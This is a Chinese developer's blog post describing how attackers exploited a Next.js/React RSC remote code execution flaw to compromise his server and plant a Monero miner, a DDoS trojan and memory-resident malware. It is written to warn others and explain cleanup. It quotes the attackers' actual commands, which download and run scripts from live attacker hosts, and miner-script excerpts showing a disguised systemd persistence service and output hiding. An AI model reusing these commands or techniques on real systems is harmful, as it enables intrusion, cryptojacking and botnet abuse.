紧急!Next.js高危漏洞致服务器被黑,我已经中招了!附解决方案

刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。

事故现场

2025 年 12 月 5 日下午,腾讯云给我发来一条安全告警通知,说我的业务存在 React/Next.js 远程代码执行(CVE-2025-55182/CVE-2025-66478)高危安全风险。

然后在当晚,腾讯云就给我发了第二条通知,说是我的服务器上检测到存在恶意文件,显然是一个挖矿程序。

但很遗憾的是,昨天我正在老家处理事情,没来得及看到这些通知,而且可气的是,攻击者专挑周五下班时间作案,所以我团队同学也没注意。

等到今天早上一睁眼,发现站内信全是告警,攻击者在早上 6 点和 9 点又进行了几次行动。这时我们团队群里也已经炸锅了,大家就一起排查处理。

首先我查看了前端项目的依赖管理文件 package.json

json 复制代码
{
 "dependencies": {
   "next": "15.3.3"
}
}

发现我编程导航训练营项目使用的 Next.js 版本(15.3.3)正好在漏洞影响范围内!

然后我查看了应用日志 camp_codefather_cn.log,发现了很多线索,并配合腾讯云主机安全提供的告警分析,还原了攻击者的完整作案过程。

时间线如下:

yaml 复制代码
📅 2025-12-05 19:59:42 【第一波攻击】下载恶意脚本
📅 2025-12-05 20:04:00 【第二波攻击】部署挖矿程序
📅 2025-12-06 06:13:43 【第三波攻击】植入 DDoS 木马
📅 2025-12-06 09:29:33 【第四波攻击】运行内存木马
📅 2025-12-06 09:42:00 【持续攻击】尝试建立后门

1、下载恶意脚本,部署挖矿程序

首先晚上 7 点 59 分,攻击者利用 Next.js RSC 漏洞,通过发送特制的 HTTP POST 请求,执行命令下载了恶意脚本 sex.sh

bash 复制代码
wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh
chmod +x sex.sh
./sex.sh

日志记录:

bash 复制代码
--2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh
Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37
Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1619 (1.6K) [text/x-sh]
Saving to: 'sex.sh'
​
2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619]

从这里能看出来,这个时候攻击者已经可以通过 Next.js 的漏洞为所欲为了!

我下载了这个 sex.sh 脚本文件,带大家 "鉴赏一下"。

首先攻击者配置了挖矿参数,连接到攻击者的矿池、使用攻击者的门罗币钱包,并伪装成系统更新服务。

ini 复制代码
ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻击者的钱包地址)"
SERVICE_NAME="system-update-service"  # ⚠️ 伪装成系统服务

然后伪装成浏览器请求,从 GitHub 下载合法的 XMRig 挖矿软件

ruby 复制代码
curl -L -o kal.tar.gz \
 --user-agent "Mozilla/5.0..." \  # ⚠️ 伪装成浏览器
https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf kal.tar.gz

接下来创建系统服务,设置开机自启、进程崩溃后自动重启。也就是说,即使重启服务器,木马依然运行

ini 复制代码
# 创建 systemd 服务
cat > /etc/systemd/system/system-update-service.service <<EOF
[Service]
ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ...
Restart=always         # ⚠️ 崩溃后自动重启
[Install]
WantedBy=multi-user.target  # ⚠️ 开机自启
EOF
​
systemctl enable system-update-service
systemctl start system-update-service

如果没有 root 权限,会在后台运行挖矿程序,并重定向输出到 /dev/null,不留日志。

bash 复制代码
nohup /path/to/xmrig $ARGS >/dev/null 2>&1 &

完整代码我分享到 代码小抄 了,感兴趣的同学可以阅读。

我都忍不住赞美攻击者了,这个程序写得真不错,短小凝练,不仅有隐蔽和伪装、还考虑到了持久化和降级。

这段代码执行完,我的服务器就已经脏了,挖矿程序开始在后台运行,持续消耗我的服务器资源为攻击者挖取门罗币。

2、植入 DDoS 木马

然后是第二天早上 6 点多,攻击者不讲武德,给我的服务器植入了第二个恶意程序。

先看看日志记录:

bash 复制代码
--2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2
Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219
Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371145 (1.3M) [application/octet-stream]
Saving to: '/tmp/nginx3'
​
2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145]

攻击者通过 wget 下载了一个特制的 Nginx 网站服务器文件,还特意选择了权限宽松的 /tmp 目录。

bash 复制代码
wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2
chmod 777 /tmp/nginx3
/tmp/nginx3

根据安全报告,这是一个 DDoS 攻击木马类的恶意程序,可以把我的服务器变成太美的 "肉鸡",参与对其他服务器的 DDoS 攻击。

不仅会消耗服务器的带宽,还可能导致我的服务器 IP 被封;更严重的是,我有可能直接就参与网络攻击了?!

这难道就是传说中的人在家中坐,锅从天上来?

6 点我特么还在床上躺着流口水做梦呢,攻击者努力得让人心疼啊!

3、植入内存木马

到了早上 9 点 29 分,攻击者又发力了 ,又给我的服务器植入了一个木马类的恶意程序 /dev/shm/java

不过有点儿奇怪的是,这次的文件竟然已经被删除掉了?

我才不相信攻击者良心发现呢,我通过下列命令看了下进程:

bash 复制代码
ls -l /proc/*/exe | grep deleted

发现竟然有 4 个木马进程同时运行!

bash 复制代码
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted)

狠啊,真狠啊,1 个进程还不够是吧?

我猜 "删除文件" 是攻击者为了 防止取证 ,让文件运行在 Linux 的共享内存文件系统 /dev/shm 中,并且故意把文件删除掉,让 lsfind 等命令找不到它,但其实进程仍然在继续运行,增加了取证排查的难度。

4、持续探测

上午 9 点 42 分,攻击者又来了,这次是从一个波兰的 IP 地址下载了一个程序,并赋予极高的访问权限,然后还想远程下载并执行另外一个远程脚本。

很可惜我的服务器并没有 busybox(嵌入式 Linux 常用的工具集),所以这次攻击被阻止了:

bash 复制代码
/bin/sh: line 1: busybox: command not found
chmod: cannot access 'x86': No such file or directory
/bin/sh: line 1: ./x86: No such file or directory

但这也说明攻击者在 持续尝试 建立多重后门。真是丧尽天良,丧心病狂啊!

漏洞简介

分享到这里,想必大家已经感受到这次漏洞的危害了吧。

主要是 2 个远程代码执行漏洞:

  • CVE-2025-55182:React Server Components 远程代码执行漏洞
  • CVE-2025-66478:Next.js App Router 远程代码执行漏洞

据官方描述,在 React 的服务器组件库中,由于 React 在解码发送至服务器函数端点的请求负载时存在安全缺陷,导致未经身份验证的远程攻击者可以通过 向任何服务器函数端点发送特制的恶意 HTTP 请求 ,当该请求被 React 反序列化处理时,即可 在服务器上实现远程代码执行,从而完全控制服务器。

这次漏洞的影响范围很大,包括使用了 React 服务器组件的应用、使用了不安全版本的 Next.js 应用等等。注意,不仅仅是你自己开发的应用,如果你服务器上安装了其他符合这些特征的应用,一样会中招!攻击者是可以通过程序批量扫描这些应用的,发现一个攻击一个。

你看漏洞是前两天刚刚披露的,我这就中招了。我们团队的小伙伴自己的服务器也中招了,他通过一个 开源项目 成功复现了攻击,只需要一个请求就能打开服务器上的计算器程序、给服务器写入任何文件。

开源的扫描工具:github.com/Malayke/Nex...

好家伙,几乎没有任何成本,就能为所欲为,植入后门、生产垃圾、拿来挖矿、盗取信息!

而且很多朋友可能没有及时发现、或者不知道怎么处理,就会一直被攻击者当成矿工来利用。

如何处理?

如果条件允许的话,建议是立刻隔离服务器,防止被攻击者拿来利用、植入更多恶意程序、或者获取更多信息。

然后通过编写 Linux 脚本来清理恶意文件:

注意,以下脚本仅供参考,实际以操作系统和攻击情况为主,用 AI 生成即可

bash 复制代码
# 删除整个挖矿目录
rm -rf /www/wwwroot/xxx/xmrig-6.24.0/
rm -f /www/wwwroot/xxx/sex.sh
rm -f /www/wwwroot/xxx/kal.tar.gz
​
# 删除 /tmp 下的恶意文件
rm -f /tmp/nginx3
rm -f /tmp/x86

光删除文件还不够,还要查找并终止所有恶意进程:

perl 复制代码
# 查找 xmrig 进程
ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep
​
# 查找可疑进程
ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep
​
# 查看被删除但仍在运行的进程
ls -l /proc/*/exe 2>/dev/null | grep deleted
​
# 终止进程
kill -9 <PID>

最后,还要停止恶意的 systemd 服务:

sql 复制代码
# 查找可疑服务
systemctl list-units --type=service | grep -E "(update|system|miner|crypto)"
​
# 示例输出
system-update-service.service   loaded active running   System Update Service
​
# 停止并禁用
systemctl stop system-update-service
systemctl disable system-update-service
​
# 删除服务文件
rm -f /etc/systemd/system/system-update-service.service
​
# 重新加载
systemctl daemon-reload

当然,如果你的服务器上本来就没什么东西,也可以选择简单粗暴的方式,重装系统!

不过最重要的是,要解决根本问题,把 Next.js 应用升级到安全版本。

最后

通过这次事故呢,我觉得多关注安全通告、做好服务器的安全监控还是非常重要的,要是没有安全告警,可能几个月都没办法意识到这些攻击。

而且建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。

OK 就分享到这里吧,如果你觉得本期内容有帮助,记得 转发分享 给身边的程序员朋友,让他们尽快意识到并修复问题,不要再让丑陋的、卑鄙的、老奸巨猾的攻击者得逞了!

更多

💻 编程学习交流:编程导航 📃 简历快速制作:老鱼简历 ✏️ 面试刷题神器:面试鸭

相关推荐
申阳1 小时前
Day 21:03. 基于 SpringBoot4 开发后台管理系统-整合 SpringSecurity 完成登录功能
前端·后端·程序员
#微爱帮#1 小时前
微爱帮监狱写信寄信小程序PHP高并发优化技术方案
服务器·php·apache
大模型教程1 小时前
小猫都能懂的大模型原理 3 - 自注意力机制
程序员·llm·agent
大模型教程1 小时前
小猫都能懂的大模型原理 2 - 初见大语言模型
程序员·llm·agent
镜花水月linyi1 小时前
1.5w字ReentrantLock 深度解析
java·后端·程序员
AI大模型2 小时前
2025最新大模型技术学习路线:从入门到精通,一篇文章全掌握
程序员·llm·agent
程序员西西2 小时前
Spring Boot3 分页操作全解析:从基础到实战
java·后端·程序员
HexCIer2 小时前
CVE-2025-55182 React Server Components "React2Shell" 深度调查与全链路响应报告
react.js·next.js